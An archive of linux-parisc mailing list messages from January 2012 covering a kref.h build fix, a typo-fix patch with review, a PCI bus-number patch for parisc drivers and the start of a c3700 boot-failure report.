LmNvbT4NCg0KLS0tDQoNCmRpZmYgLS1naXQgYS9pbmNsdWRlL2xpbnV4L2tyZWYuaCBiL2luY2x1
ZGUvbGludXgva3JlZi5oDQppbmRleCBhYmMwMTIwLi45YzA3ZGNlIDEwMDY0NA0KLS0tIGEvaW5j
bHVkZS9saW51eC9rcmVmLmgNCisrKyBiL2luY2x1ZGUvbGludXgva3JlZi5oDQpAQCAtMTcsNiAr
MTcsNyBAQA0KIA0KICNpbmNsdWRlIDxsaW51eC9idWcuaD4NCiAjaW5jbHVkZSA8bGludXgvYXRv
bWljLmg+DQorI2luY2x1ZGUgPGxpbnV4L2tlcm5lbC5oPg0KIA0KIHN0cnVjdCBrcmVmIHsNCiAJ
YXRvbWljX3QgcmVmY291bnQ7DQoNCg==
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg Kroah-Hartman <greg@kroah.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: Fix compile breakage with kref.h
Date: Tue, 17 Jan 2012 13:26:39 -0800
Lines: 28
Approved: news@gmane.org
Message-ID: <20120117212639.GA17297@kroah.com>
References: <1326834845.3020.36.camel@dabdike>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1326835611 2906 80.91.229.12 (17 Jan 2012 21:26:51 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 17 Jan 2012 21:26:51 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	linux-kernel <linux-kernel@vger.kernel.org>
To: James Bottomley <jbottomley@parallels.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jan 17 22:26:46 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RnGYH-0007BD-Hk
	for glpp-linux-parisc@lo.gmane.org; Tue, 17 Jan 2012 22:26:45 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755923Ab2AQV0o (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 17 Jan 2012 16:26:44 -0500
Original-Received: from out3-smtp.messagingengine.com ([66.111.4.27]:54446 "EHLO
	out3-smtp.messagingengine.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755773Ab2AQV0n (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 17 Jan 2012 16:26:43 -0500
Original-Received: from compute6.internal (compute6.nyi.mail.srv.osa [10.202.2.46])
	by gateway1.nyi.mail.srv.osa (Postfix) with ESMTP id 3554420AC9
	for <linux-parisc@vger.kernel.org>; Tue, 17 Jan 2012 16:26:43 -0500 (EST)
Original-Received: from frontend1.nyi.mail.srv.osa ([10.202.2.160])
  by compute6.internal (MEProxy); Tue, 17 Jan 2012 16:26:43 -0500
DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; d=
	messagingengine.com; h=date:from:to:cc:subject:message-id
	:references:mime-version:content-type:in-reply-to; s=smtpout;
	 bh=a0u33mD/7qygHezlWwljX9yWkF8=; b=AyLp5rPPzvdwDEN/p/sCzooF8BgT
	lreddV4Sqv89UyJey4M/Shsyyl3Auc8CNiRcAgGg5yAdXGI7Ad8SQ6IyuKC690Qv
	dmPoKxb3IuvAQUOxp8sfRSTQOaOHiRDlQqbI03MgX2R4EINSTcGWSsz3CZWkFwRv
	21IF2po+PPXA7dk=
X-Sasl-enc: YFg2U+7wPdmQFvVcxJ6tYpvV1tUxWTLASDjoBrVSa4gm 1326835602
Original-Received: from localhost (c-76-121-69-168.hsd1.wa.comcast.net [76.121.69.168])
	by mail.messagingengine.com (Postfix) with ESMTPSA id B64D78E007C;
	Tue, 17 Jan 2012 16:26:42 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <1326834845.3020.36.camel@dabdike>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4107 gmane.linux.kernel:1240469
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4107>

On Tue, Jan 17, 2012 at 09:14:05PM +0000, James Bottomley wrote:
> This set of build failures just started appearing on parisc:
> 
> In file included from drivers/input/serio/serio_raw.c:12:
> include/linux/kref.h: In function 'kref_get':
> include/linux/kref.h:40: error: 'TAINT_WARN' undeclared (first use in this function)
> include/linux/kref.h:40: error: (Each undeclared identifier is reported only once
> include/linux/kref.h:40: error: for each function it appears in.)
> include/linux/kref.h: In function 'kref_sub':
> include/linux/kref.h:65: error: 'TAINT_WARN' undeclared (first use in this function)
> 
> It happens because TAINT_WARN is defined in kernel.h and this particular
> compile doesn't seem to include it (no idea why it's just
> manifesting ... probably some #include file untangling exposed it).  Fix
> by adding #include <linux/kernel.h> to linux/kref.h

Does adding <linux/bug.h> fix it instead?  We are using WARN_ON() here.
Hm, but that needs kernel.h as well, ugh, what a mess.

> Signed-off-by: James Bottomley <JBottomley@Parallels.com>

Acked-by: Greg Kroah-Hartman <gregkh@suse.de>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Gortmaker <paul.gortmaker@windriver.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: Fix compile breakage with kref.h
Date: Tue, 17 Jan 2012 17:09:10 -0500
Lines: 52
Approved: news@gmane.org
Message-ID: <CAP=VYLpsdy5ws6PA-DREx-Z6MQP-7djcB3d31kRhR+KT-a74CQ@mail.gmail.com>
References: <1326834845.3020.36.camel@dabdike>
	<20120117212639.GA17297@kroah.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1326838160 20305 80.91.229.12 (17 Jan 2012 22:09:20 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 17 Jan 2012 22:09:20 +0000 (UTC)
Cc: James Bottomley <jbottomley@parallels.com>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	linux-kernel <linux-kernel@vger.kernel.org>
To: Greg Kroah-Hartman <greg@kroah.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jan 17 23:09:14 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RnHDM-0002pt-GY
	for glpp-linux-parisc@lo.gmane.org; Tue, 17 Jan 2012 23:09:12 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755830Ab2AQWJL convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 17 Jan 2012 17:09:11 -0500
Original-Received: from mail-yw0-f46.google.com ([209.85.213.46]:44877 "EHLO
	mail-yw0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755820Ab2AQWJL convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 17 Jan 2012 17:09:11 -0500
Original-Received: by yhoo21 with SMTP id o21so409728yho.19
        for <multiple recipients>; Tue, 17 Jan 2012 14:09:10 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        bh=03sz73/w7A6JK6+kuN5CmBZXGcdD6tJHvQ0tVzbm7Fg=;
        b=JEGp+qUlCwmuhYJrCqa69fILYymPtEml5ji63xKAjMvQLZKd4pVXiXGvgpIpiBc+ow
         NU3zFNqK3E2pphQx8guND37KeJffO9NAXDw2w0J24JlZjqxDegHQe93T49hJ7N9+j6S8
         xyD0aDcJVZxkdySM9iwSXfF7QMMLAfYD+JgmA=
Original-Received: by 10.236.128.232 with SMTP id f68mr27694882yhi.17.1326838150511;
 Tue, 17 Jan 2012 14:09:10 -0800 (PST)
Original-Received: by 10.147.147.6 with HTTP; Tue, 17 Jan 2012 14:09:10 -0800 (PST)
In-Reply-To: <20120117212639.GA17297@kroah.com>
X-Google-Sender-Auth: ZNWACQtya1-pD23CpuFXi3e-yKU
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4108 gmane.linux.kernel:1240487
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4108>

On Tue, Jan 17, 2012 at 4:26 PM, Greg Kroah-Hartman <greg@kroah.com> wr=
ote:
> On Tue, Jan 17, 2012 at 09:14:05PM +0000, James Bottomley wrote:
>> This set of build failures just started appearing on parisc:
>>
>> In file included from drivers/input/serio/serio_raw.c:12:
>> include/linux/kref.h: In function 'kref_get':
>> include/linux/kref.h:40: error: 'TAINT_WARN' undeclared (first use i=
n this function)
>> include/linux/kref.h:40: error: (Each undeclared identifier is repor=
ted only once
>> include/linux/kref.h:40: error: for each function it appears in.)
>> include/linux/kref.h: In function 'kref_sub':
>> include/linux/kref.h:65: error: 'TAINT_WARN' undeclared (first use i=
n this function)
>>
>> It happens because TAINT_WARN is defined in kernel.h and this partic=
ular
>> compile doesn't seem to include it (no idea why it's just
>> manifesting ... probably some #include file untangling exposed it). =
=A0Fix
>> by adding #include <linux/kernel.h> to linux/kref.h
>
> Does adding <linux/bug.h> fix it instead? =A0We are using WARN_ON() h=
ere.
> Hm, but that needs kernel.h as well, ugh, what a mess.

I've got some work done already towards cleaning this up; aiming for
getting it done and in linux-next for the 3.4 cycle.

https://lkml.org/lkml/2012/1/4/455

Paul.
---

>
>> Signed-off-by: James Bottomley <JBottomley@Parallels.com>
>
> Acked-by: Greg Kroah-Hartman <gregkh@suse.de>
>
> --
> To unsubscribe from this list: send the line "unsubscribe linux-kerne=
l" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at =A0http://vger.kernel.org/majordomo-info.html
> Please read the FAQ at =A0http://www.tux.org/lkml/
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:07:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Masanari Iida <standby24x7@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH] [trivial] parisc : Fix typo in eisa_enumerator.c
Date: Sun, 22 Jan 2012 21:05:48 +0900
Lines: 29
Approved: news@gmane.org
Message-ID: <1327233948-2070-1-git-send-email-standby24x7@gmail.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: dough.gmane.org 1327234461 4047 80.91.229.12 (22 Jan 2012 12:14:21 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 22 Jan 2012 12:14:21 +0000 (UTC)
Cc: standby24x7@gmail.com, linux-kernel@vger.kernel.org,
	torivial@kernel.org, kyle@mcmartin.ca
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jan 22 13:14:16 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RowJJ-0003jS-Ex
	for glpp-linux-parisc@lo.gmane.org; Sun, 22 Jan 2012 13:14:13 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751384Ab2AVMON (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 22 Jan 2012 07:14:13 -0500
Original-Received: from i118-21-156-233.s30.a048.ap.plala.or.jp ([118.21.156.233]:48701
	"EHLO rinabert.homeip.net" rhost-flags-OK-OK-OK-FAIL)
	by vger.kernel.org with ESMTP id S1750949Ab2AVMOM (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 22 Jan 2012 07:14:12 -0500
Original-Received: from rinabert.homeip.net (localhost [127.0.0.1])
	by rinabert.homeip.net (8.14.5/8.14.5) with ESMTP id q0MC681e002105;
	Sun, 22 Jan 2012 21:06:08 +0900
Original-Received: (from root@localhost)
	by rinabert.homeip.net (8.14.5/8.14.5/Submit) id q0MC668i002104;
	Sun, 22 Jan 2012 21:06:06 +0900
X-Mailer: git-send-email 1.7.6.5
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4110 gmane.linux.kernel:1242274
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4110>

Correct spelling "confgiuration" to "configuration" in
drivers/parisc/eisa_enumerator.c

Signed-off-by: Masanari Iida <standby24x7@gmail.com>
---
 drivers/parisc/eisa_enumerator.c |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/drivers/parisc/eisa_enumerator.c b/drivers/parisc/eisa_enumerator.c
index caa1531..a656d9e 100644
--- a/drivers/parisc/eisa_enumerator.c
+++ b/drivers/parisc/eisa_enumerator.c
@@ -357,7 +357,7 @@ static int parse_slot_config(int slot,
 		}
 		if (flags & HPEE_FUNCTION_INFO_CFG_FREE_FORM) {
 			/* I have no idea how to handle this */
-			printk("function %d have free-form confgiuration, skipping ",
+			printk("function %d have free-form configuration, skipping ",
 				num_func);
 			pos = p0 + function_len;
 			continue;
-- 
1.7.6.5

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randy Dunlap <rdunlap@xenotime.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] [trivial] parisc : Fix typo in eisa_enumerator.c
Date: Sun, 22 Jan 2012 09:50:16 -0800
Organization: YPO4
Lines: 38
Approved: news@gmane.org
Message-ID: <4F1C4C58.6040100@xenotime.net>
References: <1327233948-2070-1-git-send-email-standby24x7@gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1327251128 10106 80.91.229.12 (22 Jan 2012 16:52:08 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 22 Jan 2012 16:52:08 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	Trivial patch monkey <trivial@kernel.org>, kyle@mcmartin.ca
To: Masanari Iida <standby24x7@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jan 22 17:52:03 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Rp0eA-00065u-Fn
	for glpp-linux-parisc@lo.gmane.org; Sun, 22 Jan 2012 17:52:02 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752047Ab2AVQvy (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 22 Jan 2012 11:51:54 -0500
Original-Received: from oproxy6-pub.bluehost.com ([67.222.54.6]:53010 "HELO
	oproxy6-pub.bluehost.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with SMTP id S1752011Ab2AVQvx (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 22 Jan 2012 11:51:53 -0500
Original-Received: (qmail 11998 invoked by uid 0); 22 Jan 2012 16:51:53 -0000
Original-Received: from unknown (HELO box742.bluehost.com) (66.147.244.242)
  by cpoproxy3.bluehost.com with SMTP; 22 Jan 2012 16:51:53 -0000
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=xenotime.net; s=default;
	h=Content-Transfer-Encoding:Content-Type:In-Reply-To:References:Subject:CC:To:MIME-Version:From:Date:Message-ID; bh=pjmSSDlOl0mL8ZmFUJqKwkhjIsEKb5dhi94zMidw4yA=;
	b=qaUP8KuNvBkUdewz/n+hVxvNQhMUPvy+z/O4ZW4PlWLb3ZU3aaBTwBY7FFtlkiLCmHtPHXZi74jLe6Lx+QhY0CF5DgrNivO6iyj13tHDTdUDw5nEB/vHi73QkwCYKt54;
Original-Received: from static-50-53-38-135.bvtn.or.frontiernet.net ([50.53.38.135] helo=[192.168.1.2])
	by box742.bluehost.com with esmtpsa (TLSv1:AES256-SHA:256)
	(Exim 4.76)
	(envelope-from <rdunlap@xenotime.net>)
	id 1Rp0e1-00088b-3R; Sun, 22 Jan 2012 09:51:53 -0700
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.15) Gecko/20110323 Thunderbird/3.1.9
In-Reply-To: <1327233948-2070-1-git-send-email-standby24x7@gmail.com>
X-Identified-User: {1807:box742.bluehost.com:xenotime:xenotime.net} {sentby:smtp auth 50.53.38.135 authed with rdunlap@xenotime.net}
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4111 gmane.linux.kernel:1242292
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4111>

On 01/22/2012 04:05 AM, Masanari Iida wrote:
> Correct spelling "confgiuration" to "configuration" in
> drivers/parisc/eisa_enumerator.c

Correct trivial email address.

> 
> Signed-off-by: Masanari Iida <standby24x7@gmail.com>
> ---
>  drivers/parisc/eisa_enumerator.c |    2 +-
>  1 files changed, 1 insertions(+), 1 deletions(-)
> 
> diff --git a/drivers/parisc/eisa_enumerator.c b/drivers/parisc/eisa_enumerator.c
> index caa1531..a656d9e 100644
> --- a/drivers/parisc/eisa_enumerator.c
> +++ b/drivers/parisc/eisa_enumerator.c
> @@ -357,7 +357,7 @@ static int parse_slot_config(int slot,
>  		}
>  		if (flags & HPEE_FUNCTION_INFO_CFG_FREE_FORM) {
>  			/* I have no idea how to handle this */
> -			printk("function %d have free-form confgiuration, skipping ",
> +			printk("function %d have free-form configuration, skipping ",

			                    has

>  				num_func);
>  			pos = p0 + function_len;
>  			continue;


-- 
~Randy
*** Remember to use Documentation/SubmitChecklist when testing your code ***
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Yinghai Lu <yinghai@kernel.org>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.pci,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc
Subject: [PATCH 07/13] PCI, parisc: Register busn_res for root buses
Date: Fri, 27 Jan 2012 18:49:25 -0800
Lines: 40
Approved: news@gmane.org
Message-ID: <1327718971-9598-8-git-send-email-yinghai@kernel.org>
References: <1327718971-9598-1-git-send-email-yinghai@kernel.org>
NNTP-Posting-Host: lo.gmane.org
X-Trace: dough.gmane.org 1327719090 7153 80.91.229.12 (28 Jan 2012 02:51:30 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 28 Jan 2012 02:51:30 +0000 (UTC)
Cc: Bjorn Helgaas <bhelgaas@google.com>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	linux-pci@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-arch@vger.kernel.org, Yinghai Lu <yinghai@kernel.org>,
	Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>,
	linux-parisc@vger.kernel.org
To: Jesse Barnes <jbarnes@virtuousgeek.org>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Tony Luck <tony.luck@intel.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Jan 28 03:51:24 2012
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1RqyNu-0002LK-86
	for glk-linux-kernel-3@lo.gmane.org; Sat, 28 Jan 2012 03:51:22 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754391Ab2A1CvN (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Fri, 27 Jan 2012 21:51:13 -0500
Original-Received: from rcsinet15.oracle.com ([148.87.113.117]:26569 "EHLO
	rcsinet15.oracle.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753836Ab2A1CuM (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Fri, 27 Jan 2012 21:50:12 -0500
Original-Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237])
	by rcsinet15.oracle.com (Switch-3.4.4/Switch-3.4.4) with ESMTP id q0S2nrwT009901
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Sat, 28 Jan 2012 02:49:53 GMT
Original-Received: from acsmt357.oracle.com (acsmt357.oracle.com [141.146.40.157])
	by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id q0S2npue016240
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Sat, 28 Jan 2012 02:49:51 GMT
Original-Received: from abhmt114.oracle.com (abhmt114.oracle.com [141.146.116.66])
	by acsmt357.oracle.com (8.12.11.20060308/8.12.11) with ESMTP id q0S2nojW008988;
	Fri, 27 Jan 2012 20:49:50 -0600
Original-Received: from linux-siqj.site (/10.132.126.254)
	by default (Oracle Beehive Gateway v4.0)
	with ESMTP ; Fri, 27 Jan 2012 18:49:50 -0800
X-Mailer: git-send-email 1.7.7
In-Reply-To: <1327718971-9598-1-git-send-email-yinghai@kernel.org>
X-Source-IP: acsinet21.oracle.com [141.146.126.237]
X-Auth-Type: Internal IP
X-CT-RefId: str=0001.0A090202.4F236252.0054,ss=1,re=0.000,fgs=0
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1245208 gmane.linux.kernel.pci:13252 gmane.linux.kernel.cross-arch:12025 gmane.linux.ports.parisc:4112
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1245208>

Signed-off-by: Yinghai Lu <yinghai@kernel.org>
Cc: Kyle McMartin <kyle@mcmartin.ca>
Cc: Helge Deller <deller@gmx.de>
Cc: linux-parisc@vger.kernel.org
---
 drivers/parisc/dino.c    |    2 ++
 drivers/parisc/lba_pci.c |    3 +++
 2 files changed, 5 insertions(+), 0 deletions(-)

diff --git a/drivers/parisc/dino.c b/drivers/parisc/dino.c
index 7ff10c1..3f2e203 100644
--- a/drivers/parisc/dino.c
+++ b/drivers/parisc/dino.c
@@ -1014,7 +1014,9 @@ static int __init dino_probe(struct parisc_device *dev)
 		return 0;
 	}
 
+	pci_bus_insert_busn_res(bus, dino_current_bus, 255);
 	bus->subordinate = pci_scan_child_bus(bus);
+	pci_bus_update_busn_res_end(bus, bus->subordinate);
 
 	/* This code *depends* on scanning being single threaded
 	 * if it isn't, this global bus number count will fail
diff --git a/drivers/parisc/lba_pci.c b/drivers/parisc/lba_pci.c
index d5f3d75..b58bf8b 100644
--- a/drivers/parisc/lba_pci.c
+++ b/drivers/parisc/lba_pci.c
@@ -1531,6 +1531,9 @@ lba_driver_probe(struct parisc_device *dev)
 		return 0;
 	}
 
+	pci_bus_insert_busn_res(lba_bus, lba_dev->hba.bus_num.start,
+				lba_dev->hba.bus_num.end);
+
 	lba_bus->subordinate = pci_scan_child_bus(lba_bus);
 
 	/* This is in lieu of calling pci_assign_unassigned_resources() */
-- 
1.7.7


From - Thu Nov 08 21:07:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bjorn Helgaas <bhelgaas@google.com>
Newsgroups: gmane.linux.ports.parisc
Subject: c3700 boot failure (protection ID trap)
Date: Sat, 28 Jan 2012 08:30:27 -0700
Lines: 885
Approved: news@gmane.org
Message-ID: <CAErSpo7ko3Tdkf9Y4jiKCQTgCpcooWnHKJtqXDVpJje3nEXgdw@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary=f46d04182626291f2d04b7984c05
X-Trace: dough.gmane.org 1327772416 18618 80.91.229.3 (28 Jan 2012 17:40:16 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sat, 28 Jan 2012 17:40:16 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jan 28 18:40:14 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RrCFI-0000o9-0r
	for glpp-linux-parisc@plane.gmane.org; Sat, 28 Jan 2012 18:39:24 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753175Ab2A1Pau (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 28 Jan 2012 10:30:50 -0500
Original-Received: from mail-we0-f174.google.com ([74.125.82.174]:34312 "EHLO
	mail-we0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753059Ab2A1Pat (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 28 Jan 2012 10:30:49 -0500
Original-Received: by werb13 with SMTP id b13so2197293wer.19
        for <linux-parisc@vger.kernel.org>; Sat, 28 Jan 2012 07:30:47 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=gamma;
        h=mime-version:from:date:message-id:subject:to:x-system-of-record
         :content-type;
        bh=symQUQtdmNKQSCJYPMBSIrwlfOW71syPQqvRGz8lY+0=;
        b=rsBIaXyo3fP3jL1QxeO+hFXUF74quaOcGqSZsbdwqz/JEVAGRnVUTa4aWuR0c2UX6A
         VHQkgikzTG+8HIHH0T04SBZ6D1QQ05rwcvv6xQ2NKH2YOWZkjNY1zgh40+sKoZ27o60j
         nP/+1lBCuhcKmB+vy6MT5zx6IjTWsP48cwpLM=
Original-Received: by 10.180.105.129 with SMTP id gm1mr15633407wib.1.1327764647602;
        Sat, 28 Jan 2012 07:30:47 -0800 (PST)
Original-Received: by 10.180.105.129 with SMTP id gm1mr15633399wib.1.1327764647517;
 Sat, 28 Jan 2012 07:30:47 -0800 (PST)
Original-Received: by 10.227.195.211 with HTTP; Sat, 28 Jan 2012 07:30:27 -0800 (PST)
X-System-Of-Record: true
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4113
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4113>

--f46d04182626291f2d04b7984c05
Content-Type: text/plain; charset=ISO-8859-1

I'm trying to test some PCI changes on a c3700, but recent kernels
don't seem to work at all.  74ea15d909b311 (current upstream) and v3.2
both fail as shown below.  I'm using c3000_defconfig (attached for
74ea15d909b311).  Should I expect this to work?
